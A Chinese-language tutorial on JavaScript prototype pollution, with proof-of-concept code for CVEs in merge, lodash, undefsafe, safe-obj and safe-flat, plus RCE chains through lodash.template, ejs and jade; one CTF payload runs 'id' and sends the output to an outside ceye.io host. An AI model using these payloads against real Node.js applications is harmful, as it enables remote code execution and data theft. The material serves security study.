0x00 原型链与原型链继承 原型链 原型链污染(prototype pollution )是js独有的安全问题,其原因主要是因为js中几乎所有类的所有属性都可以公开访问和修改,通过修改多个可控变量去覆盖__proto__
属性即可污染其它类,即如果能够控制并修改一个对象的原型,就可以影响到所有和这个对象同一个原型的对象。
原型链污染发生的两个场景是:
在js中每个实例对象object都有个原型对象,原型对象又有对应的原型对象,以此类推可构成原型链 ,层层向上知道第一个原型对象为null。
要访问一个实例对象的原型对象,有以下方式:
1 2 3 4 5 objectname .[[prototype ]]objectname .prototype objectname ["__proto__" ]objectname .__proto__objectname .constructor.prototype
在定义类构造函数的时候,有一个预定义属性prototype
,他就是一个原型对象。在实例化对象的时候会生成一个属性__proto__
,它所指向的便是这个对象构造函数的prototype,例如
1 2 3 4 5 6 7 8 9 10 11 12 13 function Class1 ( ){this .var = null }function Class2 ( ){this .var = null }Class2 .prototype = Class1 let obj = new Class2 ()console .log (`${obj.__proto__} ` )
原型链继承 类在实例化的时候会拥有类自身prototype
中的属性和方法,即object
会继承其__proto__
属性指向的原型对象的属性和方法,例如
1 2 3 4 5 6 7 8 9 10 11 12 13 function Father ( ){ this .last_name = "time" }function Son ( ){ this .first_name = "spring" }Son .prototype = new Father ();let son = new Son ();console .log (`Name:${son.first_name} ${son.last_name} ` )
在输出last_name时,由于Son中没有此属性,于是到其原型对象son.__proto__
,也就是Father实例中寻找,如果依然没找到,那么就继续到son.__proto__.__proto__
寻找,直到找到为止,未找到返回undefined
。
至此总结出几个要点:
每个构造函数(constructor
)都有一个原型对象(prototype
)
对象的__proto__
属性,指向类的原型对象prototype
JavaScript使用prototype
链实现继承机制
0x01 原型链污染 首先是json语法的一些规则:
数据在名称/值对中
数据由逗号分隔
花括号容纳对象
方括号容纳数组
JSON键/值对由键和值 组成,键必须是字符串 ,值可以是字符串(string)、数值(number) 、对象(object)、数组(array)、true、false、null。
例如
1 2 3 var object = { 'a' : [{ 'key1' : 2 }, { 'key2' : 4 }] };
首先看一个语句
如果我们能同时控制a、b、value的值,将a设置为__proto__
,那么就可以给object的原型ProtoClass设置一个值为value的属性b,即使原型中没有b属性也可以添加进去,与此同时所有原型链中含有ProtoClass的对象也将增加属性b,这就是原型链污染 。
0x02 merge引发的污染 example 一个简单的例子
1 2 3 4 5 6 7 8 9 function merge (target, source ) { for (let key in source) { if (key in source && key in target) { merge (target[key], source[key]) } else { target[key] = source[key] } } }
merge函数对数组的键名进行了递归合并操作,注意target[key] = source[key]
,如果我们能控制键名source
为__proto__
,同时利用target为其赋值,就可以为source的原型对象添加属性实现污染。
1 2 3 4 5 6 7 8 9 10 11 let o1 = {}let o2 = JSON .parse ('{"a": 1, "__proto__": {"b": 2}}' )merge (o1, o2)console .log (o1.a , o1.b ) o3 = {}console .log (o3.b )
可见o3被成功污染,实际上由于o1、o2、o3原型类统一,它们都会拥有属性b。
注意如果令b等于{a: 1, "__proto__": {b: 2}}
,那么对b的键名进行遍历的时候就会忽略__proto__
不会把它看作键名,因为__proto__
被看作是原型了,所以遍历后的键名是a、b。
因此为了使__proto__
被解析为键名,我们需要配合JSON.parse。
merge.recursiveMerge 漏洞编号CVE-2020-28499,poc如下,需要引入merge@2.1.0 (ver<2.1.1)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 const merge = require ('merge' );const payload2 = JSON .parse ('{"x": {"__proto__":{"polluted":"yes"}}}' );let obj1 = {x : {y :1 }};console .log ("Before : " + obj1.polluted ); merge.recursive (obj1, payload2);console .log ("After : " + obj1.polluted );console .log ("After : " + {}.polluted );
调试过程中发现调用链是recursive -> _merge -> _recursiveMerge
,而_recursiveMerge
中存在递归合并:
1 2 3 4 5 6 7 8 9 function _recursiveMerge (base, extend ) { if (!isPlainObject (base)) return extend; for (var key in extend) base[key] = (isPlainObject (base[key]) && isPlainObject (extend[key])) ? _recursiveMerge (base[key], extend[key]) : extend[key]; return base; }
值得注意的是_merge
方法有一处过滤,过滤了一些关键词
1 2 if (key === '__proto__' || key === 'constructor' || key === 'prototype' ) continue ;
但是检查的范围仅仅是key,我们再嵌套一层数组即可,也就是payload:{"x": {"__proto__":{"polluted":"yes"}}}
0x03 Lodash中的污染 lodash.defaultsDeep 漏洞编号CVE-2019-10744,需要引入lodash@4.17.11 (ver<4.17.12),poc如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 const mergeFn = require ('lodash' ).defaultsDeep ;const payload = '{"constructor": {"prototype": {"whoami": "Vulnerable"}}}' function check ( ) { mergeFn ({}, JSON .parse (payload)); if (({})[`a0` ] === true ) { console .log (`Vulnerable to Prototype Pollution via ${payload} ` ); } }check ();console .log (Object .whoami );
lodash.merge 这里使用ver 4.17.4才好使。
与前面提到的merge相似,poc如下
1 2 3 4 5 6 7 var lodash= require ('lodash' );var payload = '{"__proto__":{"polluted":"yes"}}' ;var a = {};console .log ("Before polluted: " + a.polluted ); lodash.merge ({}, JSON .parse (payload));console .log ("After polluted: " + a.polluted );
lodash.mergeWith 漏洞编号CVE-2018-16487,相比于merge增加了一个参数customizer
,作用是控制合并方式,若customizer
未定义则依然由merge替代,因此事实上它对我们的利用方式没有影响,poc不变
1 2 3 4 5 6 7 var lodash= require ('lodash' );var payload = '{"__proto__":{"polluted":"yes"}}' ;var a = {};console .log ("Before polluted: " + a.polluted ); lodash.merge ({}, JSON .parse (payload));console .log ("After polluted: " + a.polluted );
lodash.set 修改指定path(对象属性)的value(值)
1 2 3 4 set (object, path, value)
注意此方法会直接改变Object。例如给多层嵌套的属性c赋值
1 2 3 4 5 6 var lodash= require ('lodash' );var object = { 'a' : [{ 'b' : { 'c' : 3 } }] }; lodash.set (object, 'a[0].b.c' , 4 );console .log (object.a [0 ].b .c );
跟一下源码,首先set调了baseSet
1 2 3 function set (object, path, value ) { return object == null ? object : baseSet (object, path, value); }
然后是castPath,stringToPath,最后也没有任何过滤,poc
1 2 3 4 5 6 7 8 9 10 11 12 var lodash= require ('lodash' );var object_1 = { 'a' : [{ 'b' : { 'c' : 3 } }] };var object_2 = {}console .log (object_1.whoami ); lodash.set (object_2, '__proto__.["whoami"]' , 'Vulnerable' );console .log (object_1.whoami );
lodash.setWith 与mergeWith类似,相比于set方法多一个customizer参数控制设置对象值的方式,不传入也不影响我们的利用。
1 2 3 4 5 6 7 8 9 var lodash= require ('lodash' );var object_1 = { 'a' : [{ 'b' : { 'c' : 3 } }] };var object_2 = {}console .log (object_1.whoami ); lodash.setWith (object_2, '__proto__.["whoami"]' , 'Vulnerable' );console .log (object_1.whoami );
lodash.zipObjectDeep 漏洞编号CVE-2020-8203,影响版本ver<4.17.16
zipObjectDeep(props, values) ,props为属性路径,values是值,两者都为数组。
源码里给出了注释
1 2 _.zipObjectDeep (['a.b[0].c' , 'a.b[1].d' ], [1 , 2 ]);
将两个对象合并成了一个数组,并完成赋值,左边数组的键值与右边数组的值一一对应。
那么如果我们传入单元素数组__proto__
,就可以污染原型。
1 2 3 4 5 6 7 const _ = require ('lodash' ); _.zipObjectDeep (['__proto__.z' ],[666 ])console .log (z)
0x04 Lodash RCE 注意lodash ver<=4.17.4。
lodash.template RCE Lodash.template 是 Lodash 中的一个简单的模板引擎用于输出渲染,而template方法中的sourceURL
存在拼接,关键代码如下
1 2 3 4 var result = attempt (function ( ) { return Function (importsKeys, sourceURL + 'return ' + source) .apply (undefined , importsValues); });
如果我们能够污染sourceURL
属性,将其赋值为xxx\r\n <code> \r\n
就可实现命令注入,因此关键点在于原型链的污染。
注意Function中没有require方法,但我们可以使用global.process.mainModule.constructor._load
来代替。
这里提供一道例题**[Code-Breaking 2018] Thejs**,源码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 const fs = require ('fs' )const express = require ('express' )const bodyParser = require ('body-parser' )const lodash = require ('lodash' )const session = require ('express-session' )const randomize = require ('randomatic' )const app = express () app.use (bodyParser.urlencoded ({extended : true })).use (bodyParser.json ()) app.use ('/static' , express.static ('static' )) app.use (session ({ name : 'thejs.session' , secret : randomize ('aA0' , 16 ), resave : false , saveUninitialized : false })) app.engine ('ejs' , function (filePath, options, callback ) { fs.readFile (filePath, (err, content ) => { if (err) return callback (new Error (err)) let compiled = lodash.template (content) let rendered = compiled ({...options}) return callback (null , rendered) }) }) app.set ('views' , './views' ) app.set ('view engine' , 'ejs' ) app.all ('/' , (req, res ) => { let data = req.session .data || {language : [], category : []} if (req.method == 'POST' ) { data = lodash.merge (data, req.body ) req.session .data = data } res.render ('index' , { language : data.language , category : data.category }) }) app.listen (3000 , () => console .log (`Example app listening on port 3000!` ))
可以看到同时使用了Lodash.template
与Lodash.merge
,merge方法在lodash漏洞版本内,因此我们就可以直接去污染
sourceURL
实现RCE,以下是payload。
1 2 { "__proto__" : { "sourceURL" : "xxx\r\nvar require = global.require || global.process.mainModule.constructor._load;var result = require('child_process').execSync('id').toString();var req = require('http').request(`http://xxxxx.ceye.io/${result}`);req.end();\r\n" } }
lodash & ejs RCE 漏洞编号CVE-2022-29078,Nodejs 的 ejs 模板引擎存在一个利用原型污染进行 RCE 的一个漏洞。但要实现 RCE,首先需要有原型链污染,这里我们暂且使用 lodash.merge 方法中的原型链污染漏洞。
漏洞成因其实和lodash.template是一样的,都是变量存在拼接,同时配合merge污染。漏洞关键代码如下
1 2 3 4 5 6 7 8 9 10 11 12 if (opts.outputFunctionName ) { prepended += ' var ' + opts.outputFunctionName + ' = __append;' + '\n' ; } this .source = prepended + this .source + appended; fn = new ctor (opts.localsName + ', escapeFn, include, rethrow' , src);
很明显污染outputFunctionName
即可。
测试代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 var express = require ('express' );var lodash = require ('lodash' );var ejs = require ('ejs' );var app = express (); app.set ('views' , __dirname); app.set ('views engine' ,'ejs' );var malicious_payload = '{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').exec(\'calc\');var __tmp2"}}' ; lodash.merge ({}, JSON .parse (malicious_payload)); app.get ('/' , function (req, res ) { res.render ("index.ejs" ,{ message : 'success' }); });var server = app.listen (8000 , function ( ) { var host = server.address ().address var port = server.address ().port console .log ("应用实例,访问地址为 http://%s:%s" , host, port) });
运行后访问触发render函数渲染,即可RCE。
lodash & jade RCE Nodejs 的 jade 模板引擎也存在一个利用原型污染进行 RCE 的一个漏洞。但要实现 RCE,首先需要有原型链污染,这里我们依然使用 lodash.merge 方法中的原型链污染漏洞。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 var express = require ('express' );var lodash= require ('lodash' );var jade = require ('jade' );var app = express (); app.set ('views' , __dirname); app.set ("view engine" , "jade" );var malicious_payload = '{"__proto__":{"compileDebug":1,"self":1,"line":"console.log(global.process.mainModule.require(\'child_process\').execSync(\'calc\'))"}}' ; lodash.merge ({}, JSON .parse (malicious_payload)); app.get ('/' , function (req, res ) { res.render ("index.jade" ,{ message : 'success' }); });var server = app.listen (8000 , function ( ) { var host = server.address ().address var port = server.address ().port console .log ("应用实例,访问地址为 http://%s:%s" , host, port) });
0x05 Undefsafe 中的污染 Undefsafe模块是用来处理访问对象属性不存在时的报错问题,例如
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 var a = require ("undefsafe" );var object = { a : { b : { c : 1 , d : [1 ,2 ,3 ], e : 'old_value' } } };console .log (object.a .c .e ) console .log (a (object,'a.c.e' )) console .log (a (object,'a.b.e' ,'new_value' ))
当我们使用undefsafe时,程序就不会报错而是返回undefined
,如果目标属性存在,那么undefsafe就可以修改属性的值。如果该属性不存在,我们依然想赋值,那么新的属性将创建在数组中的上一层。
1 2 3 a (object,'a.c.e' ,'new_value' )console .log (object)
漏洞编号CVE-2019-10795,ver < 2.0.3,poc如下
1 2 3 4 5 var a = require ("undefsafe" );var test = {}a (test,'__proto__.toString' ,function ( ){ return 'just a evil!' })console .log ('this is ' +test)
利用undefsafe对原型对象中的toString方法进行污染,再通过console.log触发,造成任意代码执行。
可见原型链污染不仅可以修改属性,也可以直接修改方法
1 2 3 4 5 var a = require ("undefsafe" );var test = {}a (test,'__proto__.toString' ,function ( ){ return global .process .mainModule .require ('child_process' ).execSync ('id' ).toString ()})console .log ('this is ' +test)
0x06 safe-obj中的污染 lodash & safe-obj 漏洞编号CVE-2021-25928,safe-obj_ver_1.0.0~1.0.2,关键点在expand方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 expand : function (obj, path, thing ) { if (!path || typeof thing === 'undefined' ) { return ; } obj = isObject (obj) && obj !== null ? obj : {}; var props = path.split ('.' ); if (props.length === 1 ) { obj[props.shift ()] = thing; } else { var prop = props.shift (); if (!(prop in obj)) { obj[prop] = {}; } _safe.expand (obj[prop], props.join ('.' ), thing); } },
poc如下
1 2 3 4 5 6 7 var safeObj = require ("safe-obj" );var obj = {};console .log ("Before : " + {}.polluted ); safeObj.expand (obj, '__proto__.polluted' , 'Yes! Its Polluted' );console .log ("After : " + {}.polluted );
lodash & safe-flat 漏洞编号CVE-2021-25927,safe-flat_ver_2.0.0~2.0.1,关键在于unflatten
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 const unflatten = (obj, delimiter ) => { const result = {} const seperator = delimiter || defaultDelimiter if (typeof obj !== 'object' || isDate (obj)) return obj const unflat = (original ) => { Object .keys (original).forEach ((key ) => { const newKeys = key.split (seperator) newKeys.reduce ((o, k, i ) => { return o[k] || (o[k] = isNaN (Number (newKeys[i + 1 ])) ? (newKeys.length - 1 === i ? original[key] : {}) : []) }, result) }) } unflat (obj) return result }
通读代码可以发现实际上unflatten就是指定seperator对obj进行分割并组成新的键值对最后赋值,利用起来也很方便
1 2 3 4 5 6 var safeFlat = require ("safe-flat" );console .log ("Before : " + {}.polluted ); safeFlat.unflatten ({"__proto__.polluted" : "Yes! Its Polluted" }, '.' );console .log ("After : " + {}.polluted );
ref 关于Prototype Pollution Attack的二三事 - 先知社区 (aliyun.com)
https://xz.aliyun.com/t/7184
从 Lodash 原型链污染到模板 RCE-安全客 - 安全资讯平台 (anquanke.com)